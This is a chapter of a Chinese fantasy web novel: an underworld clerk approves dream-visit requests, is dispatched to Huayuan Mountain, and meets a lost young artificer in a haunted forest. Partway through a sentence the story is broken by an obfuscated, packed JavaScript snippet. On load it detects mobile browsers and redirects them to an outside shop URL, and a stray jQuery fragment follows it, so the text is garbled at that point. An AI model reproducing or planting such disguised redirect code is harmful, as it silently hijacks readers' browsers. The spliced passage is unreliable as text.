自知道自己死因之后,沈照水一连三天没开口说话,坐在藏簿阁万千书架旁的小凳子上抱着那些聱牙拮据的规矩法典,两只眼睛只管放在上头,字却是读不进去一个。
认字是件难事。
沈照水村里有个张秀才。从前看他仰着脑袋从田坎上鹅似的走过,目中无人,沈照水很不屑。
但现在这些铅块般沉重的字让她明白,也许记着太多字,不仰脑袋那些字容易掉出来。
“照水,其实等裴幽行回来教你一个背书诀……”
花衣轻话没说完,沈照水飞它一个眼刀。尖尖的狐狸嘴被爪子埋了下去,心里为某人哀悼。
安静了那么一会儿,沈照水“砰”一下合起了手上的书。
不能再这么僵下去。她看不懂书,至少得去做事。
沈照水站起来将书放回书架,转身往望乡台走去。
望乡台是地府数一数二忙碌的地方。
亡魂们走完十方阎殿,若有牵挂尘世亲人或特殊恩怨未了结者,轮回的顺序会稍稍往后,于望乡台向生者托梦,以解心事。
但近年阳间人口繁盛,恩怨未绝者也愈来愈多,望乡台原本的官吏管理不过来,便广招空闲的阴差去搭把手。
当然这不是做白工。
生人烧给死者的纸钱成了托梦的凭据与花销。望乡台也允许阴差们抽出一成落进自己口袋里。
阴间有鬼市。沈照水想,若有了钱,她大可以去鬼市聘一位教书先生来教自己。
——
刚一到望乡台,正好一位当值的阴差领了缉魂任务将位置空出来。沈照水熟练地落座,问面前老者:
“老人家,你亡故多久了?”
“九年。”
沈照水微微一愣。
九年,什么样的情感可以让一位老人牵挂九年?
“好。这次是要给亲人托梦还是师友?或者爱宠?”
老人六十多岁的样子,团团一张脸,有点孩儿像,一双眼睛大而亮,此刻慈爱中带着自豪的欣慰。
“亲孙女。”
“她被华元宗收为女弟子!华元宗你知道吧?”
沈照水摇摇头,认真听老人笑讲:“华元宗是天下第一剑门,很少收女弟子,我孙女选上了!”
“当初她小的时候,我和她约定好,爷爷一定活到她入宗拜师的那一天,亲眼去见她光耀门楣,可是……”
老人摸摸后脑勺,有些羞,“嘿嘿,人老了,不禁醉,有天喝了太多酒,两腿一蹬就下来了。她如今马上要去华元宗,我要去看她一眼。”
原来是和孙女有约定。沈照水朝他一笑,二话不说便给他批了准行。老人喜不自胜,颤颤巍巍从兜里掏出攒了九年的纸钱,一并给了沈照水。
“诶!老人家,一次托梦用不着这么多。”
老人朝她摆摆手,“收着吧。小老儿早该去投胎的,只是舍不下我孙女。这次去看看她也就转世去了。这些钱我不用上,都给大人吧。多谢大人帮我批过。”
说完,他身无分文,喜笑颜开地走向望乡台去了。
地府是有些黑心阴差为了昧钱,故意扣押亡魂们的托梦请求,像沈照水这样毫不阻拦的,反而少见。
她蓦然收了一大笔钱,简直是天降横财。沈照水市侩地想,怪不得张秀才想做官,宁愿把脑袋仰到天上去也不愿意和他们这些乡下人为伍。
但其实,不昂着脑袋也能做好官。
沈照水麻利收好纸钱,继续去听下一个亡者的托梦原因,低头给他们批过。
——
望乡台上川流不息,整整一天下来,她浑身难受,双脚踩在地上,脊骨都跟着痛。
沈照水拖着步子走出去,回头看了一眼偌大的望乡台。
不知不觉中,她急于摆脱裴幽行想去投胎的心弱了下来。
难怪这望乡台是求职的热门地点。除了油水多之外,帮助亡魂了却愿望是件很让人心情愉悦的事。
如果有天找到了鬼印,那她也想留在地府,不去轮回了。
沈照水摸着自己鼓鼓的钱兜,决定学好地府法典之后也来考考望乡台。
不过大事先放一边,她有件小事要做。
“小狐狸,吃糖不?”
因为裴幽行,她把花衣轻晾在一边好几天了。但是现在想想,小狐狸又做错什么呢?
沈照水赚钱了,要给小狐狸买糖吃。
花衣轻在望乡台旁等了沈照水一天,听她这么问,一下乐开了花。
“吃吃吃!照水你真好!”
它像往常一样跳到沈照水臂弯上,尾巴乖巧缠着她的手臂。
一人一狐刚要去鬼市,阴差令牌却亮了。与上次一样,沈照水身旁忽然闪出一个差吏的虚影,叮嘱她道:
“沈差使,你该去华元山了。”
“华元山?……那里死人了吗?”沈照水听这地名极其耳熟,该不会就是那个孙女去的宗门之处吧?
“还没有。不过快了。”虚影解释道:“华元山每二十载便会举办一次剑展大会。若有人能在大会中胜出,那么宗门名剑就会赠给那人,也会推其为宗门之圣。”
“所以那边每二十年就死一大批人,根本收不过来。我们地府每次都会派阴差先去候着,一起收完再一块儿送下来。这一次是你去。”
“沈差使还存有阳间的身体,此番上去切记不能让旁人知晓身份。”
沈照水认真点头,下一瞬,自己便抱着花衣轻站在了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021278|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片密林之中。漆黑夜空之下,林中幽寒森森,偶尔一两只野鸟在枝上嘶鸣,惊心动魄。
“这么急?”花衣轻感叹,“买糖的功夫都不给,真黑心。”
“应该是担心不快点来会有魂魄飘荡吧。可……这里是哪儿啊?”
一滴露水滴在沈照水头顶,她吓抬头,一看头顶一片尖形树冠,枝上坠着猩红的果子,有颗还被雀鸟琢去了一半。
花衣轻凭空嗅嗅,“嗯,应该是华元山附近。听我的,向右转,直走。”
夜风轻凉,拂在沈照水面上像一只柔软的手。草木萧瑟的气味让她心里打鼓,夜晚的山间,是有狼蛇的……
她听花衣轻的话,闷头朝前走,然而走了很久,眼前依然是茂密深林,半点没有走出去的迹象。
“小狐狸,咱还要走多久啊?我有点累了……”沈照水微喘,肩膀靠着树干。她一个瘸子,边走边抱花衣轻实在有损体力。
忽然,头顶又滴了一滴露水,沈照水下意识抬头,虚晃的眼神立刻被捉住——那颗剩下一半的殷红果子,此刻又出现在她眼前。
“这……鬼打墙?!”
沈照水一下子从树干上弹开,盯着那颗重复出现的诡异果树连连后退。
“哎哟!”
寂静林间,一道少年男声痛呼:“我的屁股!”
沈照水心脏一停,这林子里什么时候多了个人!!!
她慌张转身,一个十七八的男子正坐在地上翻身,呲牙咧嘴揉着自己的腰臀。
她刚才撞到他了?沈照水先道歉,“不好意思,我不是故意的,你……”
“你知道怎么出去吗?”
两人的声音重合在一起。
少年的眼睛亮如皓月,圆睁如杏,漂亮中有着这个年纪特有的憨直气。
“你也迷路啦?”
“我在这里转了好久好久都没走出去,烦死了!”
“我还和人有约呢……”
少年站起来拍打身上沾染的露水,沈照水这才发现他身上到处都挂着小物件,有葫芦、竹牌、小竹筒、香囊、巴掌大的小剑……简直像个百货郎。
他见沈照水看着他瞳孔放大,嘿嘿一笑介绍自己,“我是个器修,叫,叫……”
少年语气凝滞,挠挠后脑勺,仿佛名字是件难事。
“哦!我叫元澄,元日的元,澄澈的澄。”
“我叫沈照水。”
元澄上前一步,朝照水拱手致礼,“幸会!”
未及多言,有个硬硬的东西硌着他的脚,元澄弓腰一看。
“哇,好精致的玉牌!”
沈照水和花衣轻双双瞪大眼睛,不敢呼吸。
刚才与他相撞,阴差令牌滑出去了!